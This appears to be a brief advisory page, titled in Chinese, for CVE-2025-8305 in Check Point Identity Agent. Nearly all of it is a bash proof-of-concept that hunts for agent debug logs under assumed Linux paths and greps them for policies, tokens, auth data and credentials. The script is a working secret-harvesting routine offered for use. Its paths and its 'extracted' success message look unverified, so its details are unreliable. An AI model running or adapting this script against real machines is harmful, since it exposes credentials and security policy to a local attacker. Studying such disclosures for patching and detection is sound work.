CVE-2025-8305 Check Point Identity Agent调试文件明文信息泄露漏洞

#!/bin/bash # CVE-2025-8305 PoC - Check Point Identity Agent Information Disclosure # This PoC demonstrates how an authenticated local user can access debug files # to obtain sensitive security policy information. DEBUG_PATH="/var/log/checkpoint/identity_agent/" DEBUG_FILE="debug.log" echo "[*] Searching for Check Point Identity Agent debug files..." find /var/log -name "*identity*agent*" -o -name "*checkpoint*" 2>/dev/null echo "[*] Checking for readable debug files..." if [ -f "$DEBUG_PATH$DEBUG_FILE" ]; then echo "[+] Found debug file: $DEBUG_PATH$DEBUG_FILE" echo "[*] Contents (filtered for sensitive data):" cat "$DEBUG_PATH$DEBUG_FILE" | grep -E "(policy|rule|token|auth|credential)" | head -20 echo "[+] Extracted sensitive policy information" else echo "[-] Debug file not found in standard location" echo "[*] Searching alternative locations..." find /opt /usr/local /home -name "debug*.log" 2>/dev/null | xargs grep -l "policy" 2>/dev/null fi echo "[*] Checking file permissions..." ls -la "$DEBUG_PATH" 2>/dev/null